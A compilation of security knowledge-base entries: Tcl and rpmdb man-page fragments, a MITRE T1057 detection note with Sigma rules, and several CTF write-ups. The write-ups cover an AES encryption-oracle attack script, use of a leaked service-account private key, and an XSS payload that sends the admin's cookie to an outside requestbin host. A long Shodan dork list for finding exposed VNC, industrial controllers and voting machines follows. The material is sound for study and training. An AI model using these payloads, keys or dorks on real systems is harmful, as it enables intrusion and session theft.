\fBBlt\fR名字空间导出的所有命令增加到当前名字空间上下文中,所以你可以象下面这样写代码: .CS \fBgraph .g \-background red table . .g 0,0\fR .CE \fBnamespace import\fR命令从一个名字空间导入的命令只能是那个名字空间中用 \fBnamespace export\fR命令导出的命令。 .PP 从一个名字空间导入\fI所有\fR命令一般是一个坏主意,因为你不知道你将会得到些什么。更好的方式是只导入你需要的命令。例如,命令 .CS \fBnamespace import Blt::graph Blt::table\fR .CE 只把 \fBgraph\fR 和 \fBtable\fR 命令导入到当前上下文。 .PP 如果你要导入一个已经存在的命令,你将得到一个错误。这防止你从两个不同的包导入同一个命令。但是有的时候(可能在调试时),你可能希望超越这个限制。你可能希望重新发起(reissue) \fBnamespace import\fR命令来导入(pick up)一个新命令,而同名的命令在这个名字空间中已经出现过了。在这种情况下,你可以使用 \fB-force\fR 选项,现存命令将悄无声息的被覆写(overwritten): .CS \fBnamespace import \-force Blt::graph Blt::table\fR .CE 如果出于某种原因,你打算停止使用导入的命令,你可以用 \fBnamespace forget\fR 命令删除它们,例如: .CS \fBnamespace forget Blt::*\fR .CE 它在当前名子空间中查找从 \fBBlt \fR导入的所有命令,如果找到则删除它们。否则,它什么都不做。此后,访问 \fBBlt\fR命令必须使用 \fBBlt::\fR 前缀。 .PP 当你从导出(命令的)名字空间删除一个命令的时候,例如: .CS \fBrename Blt::graph ""\fR .CE 则从所有导入它的名字空间中自动删除这个命令。 .SH "导出命令 EXPORTING COMMANDS" 你可以从一个名字空间中导出命令,例如: .CS \fBnamespace eval Counter { namespace export bump reset variable Num 0 variable Max 100 proc bump {{by 1}} { variable Num incr Num $by Check return $Num } proc reset {} { variable Num set Num 0 } proc Check {} { variable Num variable Max if {$Num > $Max} { error "too high!" } } }\fR .CE 过程 \fBbump\fR 和 \fBreset\fR 被导出,所以当你从 \fBCounter\fR 名字空间导入的时候,它们被包括在内。例如: .CS \fBnamespace import Counter::*\fR .CE 但是 \fBCheck\fR 过程未被导出,所以它被导入操作所忽略。 .PP \fBnamespace import\fR,命令只导入被它们的名字空间导出的命令。\fBnamespace export\fR 命令指定什么命令可以被其他名字空间导入。如果一个 \fBnamespace import\fR命令指定了一个未被导出的命令,则不导入这个命令。 .SH "参见 SEE ALSO" variable(n) .SH "关键字 KEYWORDS" exported, internal, variable .SH "[中文版维护人]" .B 寒蝉退士 .SH "[中文版最新更新]" .B 2001/10/12 .SH "《中国 Linux 论坛 man 手册页翻译计划》:" .BI http://cmpp.linuxforum.net
sec-knowleage
# T1057-win-进程发现 ## 来自ATT&CK的描述 攻击者可能试图获取有关在系统上运行进程的信息。获得的信息可用于了解网络内系统上运行的通用软件。攻击者可以在自动发现过程中使用来自过程发现的信息来塑造后续行为,包括攻击者是否完全感染目标和/或尝试特定操作。 windows 使用tasklist实用程序获得进程详细信息的示例命令是“tasklist”。 Mac和Linux 在Mac和Linux中,这是通过ps命令完成的。 类似于T1603-win-安全软件发现,具体测试案例及详细信息可参考T1063。 ## 测试案例 windows本地执行Tasklist ## 检测日志 windows 安全日志 linux日志 ## 测试复现 暂无 ## 测试留痕 windows安全日志、子父进程、进程命令行参数(windows server 2016) ## 检测规则/思路 ### sigma-win规则 ```yml title: windows本地执行Tasklist description: windows server 2016 references: - https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1057/T1057.md tags: T1057 status: experimental author: 12306Bro logsource: product: windows service: security detection: selection: EventID: 4688 #进程创建 Newprocessname: 'C:\windows\system32\tasklist.exe' #进程信息>新进程名称 Creatorprocessname: 'C:\windows\system32\cmd.exe' #进程信息>创建者进程名称 Processcommandline: tasklist #进程信息>进程命令行 condition: selection level: low ``` ### sigma-linux规则 ```yml title: linux本地进程发现 description: linux ps命令实现本地进程发现 references: - https://github.com/redcanaryco/atomic-red-team/blob/910a2a764a66b0905065d8bdedb04b37049a85db/atomics/T1057/T1057.md tags: T1057 status: experimental author: 12306Bro logsource: product: linux detection: selection: keywords: - ps - ps aux condition: selection level: low ``` ### 建议 **高版本操作系统可以根据子父进程以及命令行参数进行检测,但是,多数情况下某些命令正常管理员也会去用,所以需要根据具体情况具体分析,排除误报。** 系统和网络发现技术通常发生在攻击者了解环境的整个行动中。不应孤立地看待数据和事件,而应根据获得的信息,将其视为可能导致其他活动(如横向运动)的行为链的一部分。 看起来像进程发现的正常、良性的系统和网络事件可能并不常见,这取决于环境和它们的使用方式。监视进程和命令行参数,以了解为收集系统和网络信息而可能采取的操作。具有内置功能的远程访问工具可以直接与Windows API交互以收集信息。还可以通过Windows系统管理工具(如Windows management Instrumentation和PowerShell)获取信息。 ## 参考推荐 MITRE-ATT&CK-T1057 <https://attack.mitre.org/techniques/T1057/> MITRE-ATT&CK-T1063 <https://attack.mitre.org/techniques/T1063/>
sec-knowleage
# Boxes of ballots (crypto 200) ###ENG [PL](#pl-version) In the task we get access to some AES-CBC encryption service. There was some debug mode avaialble which apparently could be used to extract some of the server code, but this was totally unnecessary. If we send some payload we get encrypted results. It's quite easy to notice that we get much more data, which means there has to be prefix or suffix added to our data. It can't be just PKCS padding because padding never exceeds a single block, and here we had more. We quickly realise that there is no prefix to the data, simply by observing when encrypted block gets "fixed". It happens after we provide exactly 16 bytes (so a full block), which means there can be no static prefix. If there was some static prefix added, the block would get a "fixed" value after providing less characters (until the block boundary is filled). So we have a long suffix added to the payload before encryption. It's quite clear that we should check this suffix. We wrote about this a few times, and the technique is quite basic: 1. We send data so that first character of padding is the last character in a certain block. 2. We remember the encrypted version of this block (which is [AAAA...AAS] where S is the secret padding byte) 3. We encrypt many blocks with this last byte set to different values, so [AAAA...AAa], [AAAA...AAb], [AAAA...AAc]... 4. If the block from 2) matches block from 3) it means we know the value of the secret byte! 5. We perform this again, this time sending our random filling bytes shorter by 1 byte, so that we get encrypted [AAAA...AAKS] where K is the padding byte we already know from 4) and S is another secret byte we want to know. We used a script: ```python import socket import string import sys from flask import json url = "boxesofballots.pwn.republican" port = 9001 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) def blackbox_encrypt(data): data = '{"op": "enc", "data": "' + data + '"}' s.sendall(data + "\n") result = s.recv(9999) loaded = json.loads(result) return loaded['data'] def chunk(input_data, size): return [input_data[i * size:(i + 1) * size] for i in range(len(input_data) / size)] if __name__ == "__main__": suffix = "" for i in range(63 - len(suffix), 0, -1): data = 'A' * i correct = chunk(blackbox_encrypt(data), 32)[3] for c in '{' + "}" + "_" + string.letters + string.digits: test = data + suffix + c try: encrypted = chunk(blackbox_encrypt(test), 32)[3] if correct == encrypted: suffix += c print('FOUND', 63 - i, c) if c == "}": print(suffix) sys.exit() break except: pass print(suffix) ``` And got the flag: `flag{Source_iz_4_noobs}` ###PL version W zadaniu dostajemy dostęp do serwera szyfrującego AES-CBC. Dostępny był jakis debug mode który pozwalał poznać część kodu serwera za pomocą wywoływania błędów, ale nie było nam to w ogóle potrzebne. Jeśli wyślemy jakieś dane, otrzmujemy szyfrogram. Łatwo zauważyć, że dostajemy dużo więcej danych niż wysłaliśmy, więc musi być dodany jakiś prefix/suffix. Nie może to być sam padding PKCS bo ten nigdy nie przekracza 1 bloku, a u nas było więcej. Szybko zauważamy, że nie może tam być żadnego statycznego prefixu, poprzez obserwacje kiedy dany blok jest "ustalony". Dzieje się tak, dokładnie po wysłaniu 16 bajtów (więc całego bloku) co oznacza, że nie ma miejsca na stały prefix. Gdyby był taki prefix, blok byłby "ustalony" wcześniej (kiedy blok by się dopełnił). Mamy więc długi suffix dodany do danych przed szyfrowaniem. To dość jasne, że mamy ten suffix odzyskać. Pisaliśmy o tym kilka razy i technika jest dość prosta: 1. Wysyłamy dane tak żeby pierwszy bajt paddingu był ostatnim znakiem w pewnym bloku. 2. Pamiętamy zaszyfrowaną wersje tego konkretnego bloku (czyli [AAAA...AAS] gdzie S to sekretny znak paddingu) 3. Szyfrujemy wiele bloków z ostatnim bajtem ustawionym na różne wartości, więc [AAAA...AAa], [AAAA...AAb], [AAAA...AAc]... 4. Jeśli blok z 2) pokrywa się z blokiem z 3) oznacza to że znamy sekretny bajt! 5. Powtarzamy to kolejny raz, tym razem skracając nasz payload o 1 znak więc dostajemy szyfrogram dla [AAAA...AAKS] gdzie K to bajt który już znamy z 4) a S to kolejny sekretny bajt który chcemy poznać.ret byte we want to know. Użyliśmy skryptu: ```python import socket import string import sys from flask import json url = "boxesofballots.pwn.republican" port = 9001 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((url, port)) def blackbox_encrypt(data): data = '{"op": "enc", "data": "' + data + '"}' s.sendall(data + "\n") result = s.recv(9999) loaded = json.loads(result) return loaded['data'] def chunk(input_data, size): return [input_data[i * size:(i + 1) * size] for i in range(len(input_data) / size)] if __name__ == "__main__": suffix = "" for i in range(63 - len(suffix), 0, -1): data = 'A' * i correct = chunk(blackbox_encrypt(data), 32)[3] for c in '{' + "}" + "_" + string.letters + string.digits: test = data + suffix + c try: encrypted = chunk(blackbox_encrypt(test), 32)[3] if correct == encrypted: suffix += c print('FOUND', 63 - i, c) if c == "}": print(suffix) sys.exit() break except: pass print(suffix) ``` I dostaliśmy flagę: `flag{Source_iz_4_noobs}`
sec-knowleage
rpmdb === 初始化和重建RPM数据库 ## 补充说明 **rpmdb命令** 用于初始化和重建rpm数据库。 ### 语法 ```shell rpmdb(选项) ``` ### 选项 ```shell --initdb:初始化RPM数据库; --rebuilddb:从已安装的包头文件,反向重建RPM数据库。 ```
sec-knowleage
# Episode 3: Challenge 1 ## Description > Can you hunt down the secret corporate documents? socat FILE:`tty`,raw,echo=0 TCP:multivision.h4ck.ctfcompetition.com:1337 > > Hint: Find the key, and put RFC 6749 to use ## Solution Let's connect to the server: ```console ┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP003/Challenge_01] └─$ socat FILE:`tty`,raw,echo=0 TCP:multivision.h4ck.ctfcompetition.com:1337 == proof-of-work: disabled == Password: ``` What's the password? It appears in [Episode 3](https://www.youtube.com/watch?v=TusQWn2TQxQ) of the video series: ![](images/0033.png) Using the password, we log into a new system: ```console == proof-of-work: disabled == Password: WhoPutMyPasswordH3r3 *** Congratulations! *** developer@googlequanta.com:/home/developer$ ls backup.py login.sh todo.txt developer@googlequanta.com:/home/developer$ ``` We get three files, two of them are important for this challenge (one is related to a different challenge): `backup.py`: ```python """ [WIP] Regularly backup sensitive Google Drive files to disk """ import json import requests from time import sleep doc_id = "1Z7CQDJhCj1G5ehvM3zB3FyxsCfdvierd1fs0UBlzFFM" def get_file(token, file_id): resp = requests.get( f'https://docs.googleapis.com/v1/documents/{file_id}', headers={'Authorization': f'Bearer {token}'}, ) file_content = "" if resp.status_code != 200: print(f"Yikes!\n{resp.text}") else: file_content = json.loads(resp.text)['body'] return file_content def get_token(): # TODO: I know it'll work with a 'documents.readonly' scope... # ...just need to get the access token pass # Backup file every hour while True: with open('backup.txt', 'a') as f: f.write(get_file(get_token(), doc_id)) sleep(3600) ``` `todo.txt`: ``` Today [x] Added backup-tool@project-multivision.iam.gserviceaccount.com with viewer-access to super sensitive design doc [x] Tried activating service account with gcloud, but didn't give me a documents.readonly scope [x] Cleaned up service account key from disk before signing off Tomorrow [] Finish writing Google Drive backup script ``` So, the challenge is to use the API to read a file from Google Drive. Specifically, we need to implement some kind of `get_token` logic. We need credentials for that, let's continue exploring the server: ```console developer@googlequanta.com:/home/developer$ ls -al total 40 drwxr-xr-x 3 developer developer 4096 Oct 2 17:58 . drwxr-xr-x 3 nobody nogroup 4096 Oct 2 17:56 .. -rw-r--r-- 1 nobody nogroup 171 Oct 2 17:50 .bash_history -rw-r--r-- 1 developer developer 220 Feb 25 2020 .bash_logout -rw-r--r-- 1 developer developer 3803 Oct 2 17:56 .bashrc drwxrwxr-x 3 developer developer 4096 Oct 2 17:58 .config -rw-r--r-- 1 developer developer 807 Feb 25 2020 .profile -rwxrwxrwx 1 nobody nogroup 812 Oct 2 17:50 backup.py -rwxrwxrwx 1 nobody nogroup 282 Oct 2 17:50 login.sh -rwxrwxrwx 1 nobody nogroup 336 Oct 2 17:50 todo.txt developer@googlequanta.com:/home/developer$ ls -alR .config/ .config/: total 12 drwxrwxr-x 3 developer developer 4096 Oct 2 17:58 . drwxr-xr-x 3 developer developer 4096 Oct 2 17:58 .. drwxrwxr-x 5 developer developer 4096 Oct 2 17:58 gcloud .config/gcloud: total 56 drwxrwxr-x 5 developer developer 4096 Oct 2 17:58 . drwxrwxr-x 3 developer developer 4096 Oct 2 17:58 .. -rw-rw-r-- 1 developer developer 37 Oct 2 17:58 .last_survey_prompt.yaml -rw------- 1 developer developer 12288 Oct 2 17:58 access_tokens.db -rw-rw-r-- 1 developer developer 7 Oct 2 17:58 active_config -rw-rw-r-- 1 developer developer 0 Oct 2 17:58 config_sentinel drwxrwxr-x 2 developer developer 4096 Oct 2 17:58 configurations -rw------- 1 developer developer 12288 Oct 2 17:58 credentials.db -rw------- 1 developer developer 5 Oct 2 17:58 gce drwxrwxr-x 3 developer developer 4096 Oct 2 17:58 legacy_credentials drwxrwxr-x 3 developer developer 4096 Oct 2 17:58 logs .config/gcloud/configurations: total 12 drwxrwxr-x 2 developer developer 4096 Oct 2 17:58 . drwxrwxr-x 5 developer developer 4096 Oct 2 17:58 .. -rw-rw-r-- 1 developer developer 74 Oct 2 17:58 config_default .config/gcloud/legacy_credentials: total 12 drwxrwxr-x 3 developer developer 4096 Oct 2 17:58 . drwxrwxr-x 5 developer developer 4096 Oct 2 17:58 .. drwx------ 2 developer developer 4096 Oct 2 17:58 backup-tool@project-multivision.iam.gserviceaccount.com .config/gcloud/legacy_credentials/backup-tool@project-multivision.iam.gserviceaccount.com: total 16 drwx------ 2 developer developer 4096 Oct 2 17:58 . drwxrwxr-x 3 developer developer 4096 Oct 2 17:58 .. -rw------- 1 developer developer 150 Oct 2 17:58 .boto -rw------- 1 developer developer 2019 Oct 2 17:58 adc.json .config/gcloud/logs: total 12 drwxrwxr-x 3 developer developer 4096 Oct 2 17:58 . drwxrwxr-x 5 developer developer 4096 Oct 2 17:58 .. drwxrwxr-x 2 developer developer 4096 Oct 2 17:58 2022.10.02 .config/gcloud/logs/2022.10.02: total 12 drwxrwxr-x 2 developer developer 4096 Oct 2 17:58 . drwxrwxr-x 3 developer developer 4096 Oct 2 17:58 .. -rw-rw-r-- 1 developer developer 1335 Oct 2 17:58 17.58.23.741668.log ``` What do we have here? ```console cat .config/gcloud/legacy_credentials/backup-tool@project-multivision.iam.gserviceaccount.com/adc.json { "client_email": "backup-tool@project-multivision.iam.gserviceaccount.com", "client_id": "105494657484877589161", "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDEH/WQiLjqB2nn\ncMc+fBOMbq3SE75vkj9EqNWi+ilk+ChphklRGsGcVeFsuPp06WjN1d/knWw/f+0M\nPY3tli2oQIHuqLH5GIkVhm/xpdgZUbskO8EjSI3eIs+qCMcfObgeFSw7T29PorC3\nIuQDPTfIgo4oHA7UlEBE8mZVUnEXFDh/5sNFa+UzUE1QqpWymdRVhDHekxz0erWM\nc67Ovxti40X4LnSvHOBjinjMDdtmvXBel0mIzUQxjLp6hmTPoKD7PKUodSN2QaKA\nm+pQ6deWr5QvXTBc5XEXKpMnZnn4KqouJSic7jWGAOxY1iy/We4OWeUWDYiFBxZu\nZe+IZSL5AgMBAAECggEAGg1Kv9fBhGjWswUimlS9/gYHteOkhMqO9+5bboo/bGeg\naqAJZiohNMSdrKUHs/b7UnhKBOK6adby5JDapQgxaWukNtEWzwlo0ECq5xUKFxbp\nvn7ngWnWWn8SSbpfxPCUWf6jAP/kv9XTFoiedCWyHsLk4kQT3j4RKXdvi37ngdKU\ne+CTFCDIlSr7Q2MdcKMql8lRkjcW0kvY9w8+gVXbgl4M3bNMru2JlxNn2scaGXg0\nn/GbifMvbxYguCKhgTNH+t0N8vilVO8qUInvSDzQMSEZEycjxlsUgIAvrRy6QXT0\n4S1TbIARnrFC0g4zY0mg1EycuhO3OyeiM2KTweY7rwKBgQD3Kp2J6YsK2RuwktLb\n1pC2o0jYuOMSGCsjULzeqYkXHpmFY7iojd/g8FStPdJ+BanqcsZIUQf07zUxk5Xb\nDdwH+9Q2QpQahRc6GhwcySd3v79ZaAkZAO3r/QjF0OPLRLyvRXR8R5g25LYXL8Yk\nnLbAGfcVjyW5XGCZOsmnu72+9wKBgQDLIloXEJJjwa+QTnBhmkOv922q0sVRLOUY\nuj621qt09hgMTztepFsysBjJmDtAMOJpQott1G2m0wVkk7zdzmPFUvOMDc9/54y8\niqmBvoMBSLgWElp1vXvW7ICED/d11m6aOwIVKJvJtHvS5seAd8TzHSy+5FUPjG5m\naS5psPuBjwKBgQDtTtpBDp00Bi2iw+V1szXwVSfdBO7ncZMBbkRYmHgKXZPS0WL7\nWnRoWPdD+kZ+PtvcQOSFjF9SWNU+y0+nKVBnze77RcNDDyO04lq5fJzLSavjoJKT\nkiPdX22r2BrOECoFMm9b37WShtcZvgHFJz4DhSqJZY43wSzyEdKJnCTbEwKBgQDE\nz6ar3DGJl5pLXcRCvJ1CO5+0t3vYF4Bsgd7LdZgvvVQ1cPrbyrBVnwqVH/qgSfzD\n8WZ35i7LSH9cIEwIN7Sw9ZrkomjdyvGvp0VuYLA7KUK6l9OvagQ3i3NFANdJA5ar\ntephp7OxLT4fa9v1m5Vl22mEFmRXqT852ETQwFod/wKBgAgHdxxm1anORWoZVMhZ\nDgWAhJSWsYv1HPPx18NTwVt0GxBA+ssvg8ET7zDXd5E1vay533SaV4pk/w2mWsZU\nlbfS/vMslyg9GPpaKmhGVi6d3jr0xjgh5Vs72WCo2lAXvHwZNslB20SCmUzdP4nU\nrwrzx7aO6kKU+DHb9EoEN+LI\n-----END PRIVATE KEY-----\n", "private_key_id": "722d66d6da8d6d5356d73d04d9366a76c7ada494", "token_uri": "https://oauth2.googleapis.com/token", "type": "service_account" } ``` These are the exact credentials that we need in order to access the file! We set the `GOOGLE_APPLICATION_CREDENTIALS` environment variable to point to them (after copying the file locally): ```console ┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP003/Challenge_01] └─$ export GOOGLE_APPLICATION_CREDENTIALS=/media/sf_CTFs/h4ck1ng.google/EP003/Challenge_01/gcloud/legacy_credentials/backup-tool@project-multivision.iam.gserviceaccount.com/adc.json ``` Then implement `get_token`: ```python def get_token(): import google.auth import google.auth.transport.requests credentials, project = google.auth.default(scopes=["https://www.googleapis.com/auth/documents.readonly"]) google_request_adapter = google.auth.transport.requests.Request() credentials.refresh(google_request_adapter) print(f"Token: {credentials.token}") return credentials.token ``` And finally call the script: ```console ┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP003/Challenge_01] └─$ python3 backup_sol.py Token: ya29.c.b0AUFJQsGurlwhi5W3hdYc5tQGnZkK6GUwIvCT_ICpOjdmujqSy5a1lTTeVue725a2bKtCz97wwFNwVVWyvBVv5KOD2ySG3zaV9NM4Anpd2rUjRbsHPgJHNgiupZ5qpyFi_uwPgJpyTYSqkCTwshTpWDPVH21D_HFNeJ6ZuRVDDwQG1ytN2sp4XRv9c-iI0pnjAiWaYYki8HJ_OzCSk-WwVLRYFE3DOh4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................ Traceback (most recent call last): File "/media/sf_CTFs/h4ck1ng.google/EP003/Challenge_01/backup_sol.py", line 37, in <module> f.write(get_file(get_token(), doc_id)) TypeError: write() argument must be str, not dict ``` Almost there. We just need a slight correction to the original script: ```python with open('backup.txt', 'w') as f: json.dump(get_file(get_token(), doc_id), f, indent="\t") break ``` After running the script again, `backup.txt` gets written correctly and contains the flag: ```console ┌──(user@kali)-[/media/sf_CTFs/h4ck1ng.google/EP003/Challenge_01] └─$ cat backup.txt | grep solve | tr -d "\t" "content": "https://h4ck1ng.google/solve/4lr16h7_7h3n_k33p_y0ur_53cr375\n", ```
sec-knowleage
# Cookie World Order Category: Web ## Description > Good job! You found a further credential that looks like a VPN referred to as the cWo. The organization appears very clandestine and mysterious and reminds you of the secret ruling class of hard shelled turtle-like creatures of Xenon. Funny they trust their security to a contractor outside their systems, especially one with such bad habits. Upon further snooping you find a video feed of those "Cauliflowers" which look to be the dominant lifeforms and members of the cWo. Go forth and attain greater access to reach this creature! > > https://cwo-xss.web.ctfcompetition.com/ ## Solution We visit the website and get a livestream video of a cauliflower and a chat interface: ```html <div class="livestream-container"> <div class="livestream-video"> <video loop autoplay muted src="/watch?livestream=http://cwo-xss.web.ctfcompetition.com/livestream/garden-livestream.webm" /> </div> <div class="livestream-chat"> <div class="livestream-chat-list"> <div class="livestream-chat-item"> <div class="livestream-chat-profile"> <img src="/static/img/profile.png"> </div> <div class="livestream-chat-text"> <div class="livestream-chat-username">Admin</div> <div class="livestream-chat-message">Look at my beautiful garden!</div> </div> </div> </div> <div class="livestream-chat-input"> <form id="livestream-chat-form"> <input id="livestream-chat-input" autocomplete="off" type="text" placeholder="Send message..." /> </form> </div> </div> </div> ``` "Admin" is online and obviously we need to use XSS to steal his cookie. The server had a basic blacklist protection, so basic attempts returned an error message ("HACKER ALERT!"): ```console root@kali:/media/sf_CTFs/google/Cookie_World_Order# curl "https://cwo-xss.web.ctfcompetition.com/send" -X POST --data "message=<img src=x onerror=alert('XSS');>" {"message":"HACKER ALERT!","profile_url":"/static/img/profile.png","username":"brewtoot"} ``` However it was still possible to bypass the blacklist with a pretty simple input: ```console root@kali:/media/sf_CTFs/google/Cookie_World_Order# curl "https://cwo-xss.web.ctfcompetition.com/send" -X POST --data "message=<img src=x onerror=\"image = new Image(); image.src='http://requestbin.fullcontact.com/187 nt201?e='+btoa(document.cookie);\">" {"message":"<img src=x onerror=\"image = new Image(); image.src='http://requestbin.fullcontact.com/187nt201?e=' btoa(document.cookie);\">","profile_url":"/static/img/profile.png","username":"brewtoot"} ``` Our input is: ```html <img src=x onerror="image = new Image(); image.src='http://requestbin.fullcontact.com/187nt201?e='+btoa(document.cookie);"> ``` We create an image with a source that doesn't exist. Upon error, the browser will attempt run the `onerror` logic which will try to load a different image from our [Request Bin](http://requestbin.fullcontact.com) - a free service that logs every request it gets. We crafted the URI of the image to be composed of the session cookie, allowing us to steal it. After a few seconds, we see the following log: ``` FORM/POST PARAMETERS None QUERYSTRING e: ZmxhZz1DVEZ7M21icjRjM190aGVfYzAwazFlX3cwcjFkX29yZDNyfTsgYXV0aD1UVXRiOVBQQTljWWtmY1ZRV1l6eHk0WGJ0eUwzVk5Leg== HEADERS Connection: close Via: 1.1 infra-squid (squid/3.5.27), 1.1 76d5d69c7419d6e5ee08d1a87f9d8316.cloudfront.net (CloudFront), 1.1 vegur Connect-Time: 6 X-Amz-Cf-Id: nfX-upjniSvVOAW4bTZtDwh1y09THvQ6surh1W3A35VWb5ue6k6Iww== Cloudfront-Viewer-Country: US Cloudfront-Forwarded-Proto: http User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/77.0.3827.0 Safari/537.36 Pragma: no-cache Cache-Control: no-cache Cloudfront-Is-Mobile-Viewer: false Accept-Encoding: gzip, deflate X-Request-Id: fc378cdb-cdd9-4edf-ae0b-29631278cead Cloudfront-Is-Tablet-Viewer: false Accept: image/webp,image/apng,image/*,*/*;q=0.8 Cloudfront-Is-Desktop-Viewer: true Host: requestbin.fullcontact.com Total-Route-Time: 0 Cloudfront-Is-Smarttv-Viewer: false ``` We decode the base64 string and get the flag: ```console root@kali:/media/sf_CTFs/google/Cookie_World_Order# echo ZmxhZz1DVEZ7M21icjRjM190aGVfYzAwazFlX3cwcjFkX29yZDNyfTsgYXV0aD1UVXRiOVBQQTljWWtmY1ZRV1l6eHk0WGJ0eUwzVk5Leg== | base64 -d flag=CTF{3mbr4c3_the_c00k1e_w0r1d_ord3r}; auth=TUtb9PPA9cYkfcVQWYzxy4XbtyL3VNKz ```
sec-knowleage
# Shodan Dorks ## Basic ### City: Find devices in a particular city. ``` city:"Bangalore" ``` ### Country: Find devices in a particular country. ``` country:"IN" ``` ### Geo: Find devices by giving geographical coordinates. ``` geo:"56.913055,118.250862" ``` ### Location ``` country:us country:ru city:chicago country:ru country:de city:chicago ``` ### Hostname: Find devices matching the hostname. ``` server: "gws" hostname:"google" hostname:example.com hostname:example.com,example.org ``` ### Net: Find devices based on an IP address or /x CIDR. ``` net:210.214.0.0/16 ``` ### Organization ``` org:microsoft org:"United States Department" ``` ### Autonomous System Number (ASN) ``` asn:ASxxxx ``` ### OS: Find devices based on operating system. ``` os:"windows 7" ``` ### Port: Find devices based on open ports. ``` proftpd port:21 ``` ### Before/after: Find devices before or after between a given time. ``` apache after:22/02/2009 before:14/3/2010 ``` ### SSL/TLS Certificates - Self signed certificates ``` ssl.cert.issuer.cn:example.com ssl.cert.subject.cn:example.com ``` - Expired certificates ``` ssl.cert.expired:true ssl.cert.subject.cn:example.com ``` ### Device Type ``` device:firewall device:router device:wap device:webcam device:media device:"broadband router" device:pbx device:printer device:switch device:storage device:specialized device:phone device:"voip phone" device:"voip adaptor" device:"load balancer" device:"print server" device:terminal device:remote device:telecom device:power device:proxy device:pda device:bridge ``` ### Operating System ``` os:"windows 7" os:"windows server 2012" os:"linux 3.x" ``` ### Product ``` product:apache product:nginx product:android product:chromecast ``` ### Customer Premises Equipment (CPE) ``` cpe:apple cpe:microsoft cpe:nginx cpe:cisco ``` ### Server ``` server: nginx server: apache server: microsoft server: cisco-ios ``` ### ssh fingerprints ``` dc:14:de:8e:d7:c1:15:43:23:82:25:81:d2:59:e8:c0 ``` ## Web ### Pulse Secure ``` http.html:/dana-na ``` ### PEM Certificates ``` http.title:"Index of /" http.html:".pem" ``` ## Databases ### MySQL ``` "product:MySQL" ``` ### MongoDB ``` "product:MongoDB" ``` ### elastic ``` port:9200 json ``` ### Memcached ``` "product:Memcached" ``` ### CouchDB ``` "product:CouchDB" ``` ### PostgreSQL ``` "port:5432 PostgreSQL" ``` ### Riak ``` "port:8087 Riak" ``` ### Redis ``` "product:Redis" ``` ### Cassandra ``` "product:Cassandra" ``` ## Industrial Control Systems ### Samsung Electronic Billboards ``` "Server: Prismview Player" ``` ### Gas Station Pump Controllers ``` "in-tank inventory" port:10001 ``` ### Fuel Pumps connected to internet: No auth required to access CLI terminal. ``` "privileged command" GET ``` ### Automatic License Plate Readers ``` P372 "ANPR enabled" ``` ### Traffic Light Controllers / Red Light Cameras ``` mikrotik streetlight ``` ### Voting Machines in the United States ``` "voter system serial" country:US ``` ### Open ATM: ``` May allow for ATM Access availability NCR Port:"161" ``` ### Telcos Running Cisco Lawful Intercept Wiretaps ``` "Cisco IOS" "ADVIPSERVICESK9_LI-M" ``` ### Prison Pay Phones ``` "[2J[H Encartele Confidential" ``` ### Tesla PowerPack Charging Status ``` http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2 ``` ### Electric Vehicle Chargers ``` "Server: gSOAP/2.8" "Content-Length: 583" ``` ### Maritime Satellites Shodan made a pretty sweet Ship Tracker that maps ship locations in real time, too! ``` "Cobham SATCOM" OR ("Sailor" "VSAT") ``` ### Submarine Mission Control Dashboards ``` title:"Slocum Fleet Mission Control" ``` ### CAREL PlantVisor Refrigeration Units ``` "Server: CarelDataServer" "200 Document follows" ``` ### Nordex Wind Turbine Farms ``` http.title:"Nordex Control" "Windows 2000 5.0 x86" "Jetty/3.1 (JSP 1.1; Servlet 2.2; java 1.6.0_14)" ``` ### C4 Max Commercial Vehicle GPS Trackers ``` "[1m[35mWelcome on console" ``` ### DICOM Medical X-Ray Machines Secured by default, thankfully, but these 1,700+ machines still have no business being on the internet. ``` "DICOM Server Response" port:104 ``` ### GaugeTech Electricity Meters ``` "Server: EIG Embedded Web Server" "200 Document follows" ``` ### Siemens Industrial Automation ``` "Siemens, SIMATIC" port:161 ``` ### Siemens HVAC Controllers ``` "Server: Microsoft-WinCE" "Content-Length: 12581" ``` ### Door / Lock Access Controllers ``` "HID VertX" port:4070 ``` ### Railroad Management ``` "log off" "select the appropriate" ``` ### Tesla Powerpack charging Status: Helps to find the charging status of tesla powerpack. ``` http.title:"Tesla PowerPack System" http.component:"d3" -ga3ca4f2 ``` ### XZERES Wind Turbine ``` title:"xzeres wind" ``` ### PIPS Automated License Plate Reader ``` "html:"PIPS Technology ALPR Processors"" ``` ### Modbus ``` "port:502" ``` ### Niagara Fox ``` "port:1911,4911 product:Niagara" ``` ### GE-SRTP ``` "port:18245,18246 product:"general electric"" ``` ### MELSEC-Q ``` "port:5006,5007 product:mitsubishi" ``` ### CODESYS ``` "port:2455 operating system" ``` ### S7 ``` "port:102" ``` ### BACnet ``` "port:47808" ``` ### HART-IP ``` "port:5094 hart-ip" ``` ### Omron FINS ``` "port:9600 response code" ``` ### IEC 60870-5-104 ``` "port:2404 asdu address" ``` ### DNP3 ``` "port:20000 source address" ``` ### EtherNet/IP ``` "port:44818" ``` ### PCWorx ``` "port:1962 PLC" ``` ### Crimson v3.0 ``` "port:789 product:"Red Lion Controls" ``` ### ProConOS ``` "port:20547 PLC" ``` ## Remote Desktop ### Unprotected VNC ``` "authentication disabled" port:5900,5901 "authentication disabled" "RFB 003.008" ``` ### Windows RDP 99.99% are secured by a secondary Windows login screen. ``` "\x03\x00\x00\x0b\x06\xd0\x00\x00\x124\x00" ``` ## Network Infrastructure ### Hacked routers: Routers which got compromised ``` hacked-router-help-sos ``` ### Redis open instances ``` product:"Redis key-value store" ``` ### Citrix: Find Citrix Gateway. ``` title:"citrix gateway" ``` ### Weave Scope Dashboards Command-line access inside Kubernetes pods and Docker containers, and real-time visualization/monitoring of the entire infrastructure. ``` 